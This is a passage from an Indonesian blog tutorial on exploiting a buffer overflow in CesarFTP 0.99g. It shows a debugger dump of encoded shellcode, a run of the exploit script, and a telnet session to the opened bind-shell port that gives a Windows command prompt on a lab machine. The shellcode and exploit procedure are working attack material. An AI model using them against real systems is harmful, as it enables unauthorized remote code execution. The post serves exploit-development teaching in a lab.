00B3EE62 BE 9BE94082 MOV ESI,8240E99B
00B3EE67 2BC9 SUB ECX,ECX
00B3EE69 D9C4 FLD ST(4)
00B3EE6B B1 36 MOV CL,36
00B3EE6D D97424 F4 FSTENV (28-BYTE) PTR SS:[ESP-C]
00B3EE71 5F POP EDI
00B3EE72 3177 12 XOR DWORD PTR DS:[EDI+12],ESI
00B3EE75 0377 12 ADD ESI,DWORD PTR DS:[EDI+12]
00B3EE78 83EF FC SUB EDI,-4
00B3EE7B 79 1C JNS SHORT 00B3EE99
00B3EE7D 71 4B JNO SHORT 00B3EECA
00B3EE7F 195403 7B SBB DWORD PTR DS:[EBX+EAX+7B],EDX
00B3EE83 6A 1C PUSH 1C
00B3EE85 E8 F01AFD7B CALL SHELL32.7CB1097A
00B3EE8A 68 EA760555 PUSH 550576EA
00B3EE8F 61 POPAD
00B3EE90 BE C2DA6DCA MOV ESI,CA6DDAC2
00B3EE95 C1B4E5 067904C7 >SAL DWORD PTR SS:[EBP+C7047906],0E
00B3EE9D E3 3C JECXZ SHORT 00B3EEDB
00B3EE9F 50 PUSH EAX
00B3EEA0 BC 8377114B MOV ESP,4B117783
00B3EEA5 CC INT3
00B3EEA6 F1 INT1
00B3EEA7 CB RETF ; Far return
00B3EEA8 F9 STC
00B3EEA9 EF OUT DX,EAX ; I/O command
00B3EEAA 28DF SUB BH,BL
00B3EEAC 2B3CA3 SUB EDI,DWORD PTR DS:[EBX]
00B3EEAF 38FD CMP CH,BH
00B3EEB1 4F DEC EDI
00B3EEB2 1E PUSH DS
00B3EEB3 8753 F1 XCHG DWORD PTR DS:[EBX-F],EDX
00B3EEB6 0E PUSH CS
00B3EEB7 50 PUSH EAX
00B3EEB8 05 725F7201 ADD EAX,1725F72
00B3EEBD 3B2B CMP EBP,DWORD PTR DS:[EBX]
00B3EEBF D7 XLAT BYTE PTR DS:[EBX+AL]
00B3EEC0 75 4F JNZ SHORT 00B3EF11
00B3EEC2 ^77 FA JA SHORT 00B3EEBE
00B3EEC4 FD STD
00B3EEC5 4E DEC ESI
00B3EEC6 638F B5707266 ARPL WORD PTR DS:[EDI+667270B5],CX
00B3EECC 1F POP DS ; Modification of segment register
00B3EECD 40 INC EAX
00B3EECE A6 CMPS BYTE PTR DS:[ESI],BYTE PTR ES:[EDI]
00B3EECF 3A2B CMP CH,BYTE PTR DS:[EBX]
00B3EED1 96 XCHG EAX,ESI
00B3EED2 D7 XLAT BYTE PTR DS:[EBX+AL]
00B3EED3 BB C563E117 MOV EBX,17E163C5
00B3EED8 2D FD26A372 SUB EAX,72A326FD
00B3EEDD 8C43 DC MOV WORD PTR DS:[EBX-24],ES
00B3EEE0 B1 49 MOV CL,49
00B3EEE2 D9C9 FXCH ST(1)
00B3EEE4 98 CWDE
00B3EEE5 1E PUSH DS
00B3EEE6 6A 29 PUSH 29
00B3EEE8 24 C8 AND AL,0C8
00B3EEEA 6286 325BF6A3 BOUND EAX,QWORD PTR DS:[ESI+A3F65B32]
00B3EEF0 26:5A POP EDX ; Superfluous prefix
00B3EEF2 ^E1 BA LOOPDE SHORT 00B3EEAE
00B3EEF4 BF 5FF52D94 MOV EDI,942DF55F
00B3EEF9 ^E0 CB LOOPDNE SHORT 00B3EEC6
00B3EEFB 44 INC ESP
00B3EEFC 9E SAHF
00B3EEFD E8 BE0864BA CALL BB17F7C0
00B3EF02 3F AAS
00B3EF03 64:33A9 40BACFA4 XOR EBP,DWORD PTR FS:[ECX+A4CFBA40]
00B3EF0A F1 INT1
00B3EF0B 9C PUSHFD
00B3EF0C 82B8 228D2296 56 CMP BYTE PTR DS:[EAX+96228D22],56
00B3EF13 4C DEC ESP
00B3EF14 F3: PREFIX REP: ; Superfluous prefix
00B3EF15 -E9 A6C13F7C JMP SHELL32.7CF3B0C0
00B3EF1A 49 DEC ECX
00B3EF1B 8A92 D596E468 MOV DL,BYTE PTR DS:[EDX+68E496D5]
00B3EF21 15 1CFC4244 ADC EAX,4442FC1C
00B3EF26 8F ??? ; Unknown command
00B3EF27 94 XCHG EAX,ESP
00B3EF28 C705 544485AA B0>MOV DWORD PTR DS:[AA854454],F93EBCB0
00B3EF32 127A 07 ADC BH,BYTE PTR DS:[EDX+7]
00B3EF35 17 POP SS ; Modification of segment register
00B3EF36 65:D6 SALC ; Superfluous prefix
00B3EF38 0FDB42 81 PAND MM0,QWORD PTR DS:[EDX-7F]
00B3EF3C 5D POP EBP
00B3EF3D ^76 D9 JBE SHORT 00B3EF18
00B3EF3F EB 25 JMP SHORT 00B3EF66
00B3EF41 99 CDQ
00B3EF42 D5 A4 AAD 0A4
00B3EF44 FB STI
00B3EF45 37 AAA
00B3EF46 B1 18 MOV CL,18
00B3EF48 03E1 ADD ESP,ECX
00B3EF4A D917 FST DWORD PTR DS:[EDI]
00B3EF4C BD F2CBEDBD MOV EBP,BDEDCBF2
00B3EF51 F4 HLT ; Privileged command
00B3EF52 F3: PREFIX REP: ; Superfluous prefix

Setelah yakin bahwa tidak ada satupun byte yang berubah, kita tinggal remove dari cesar_dbg.py bagian INT3 dan jalankan exploit terhadap cesarftp,


$ ./cesar_dbg.py
Lenght of shellcode: 241
220 CesarFTP 0.99g Server Welcome !

331 User login OK, waiting for password

230 User password OK, CesarFTP server ready

Lenght of buffer: 935

Payload dari skypher ini sangat stabil, pada cesarftp tidak ada pesan error ataupun hang sedikit pun, salut for him!

Dan final game, telnet ke port 28876,


$ telnet 172.16.30.128 28876
Trying 172.16.30.128...
Connected to 172.16.30.128.
Escape character is '^]'.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Strazytski\Desktop>

Game Over!

Update: Eksploitasi cesarftp dengan menggunakan reverse static shellcode dapat dilihat pada artikel selanjutnya.

Advertisements

3 thoughts on “Simple Windows Buffer Overflow

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s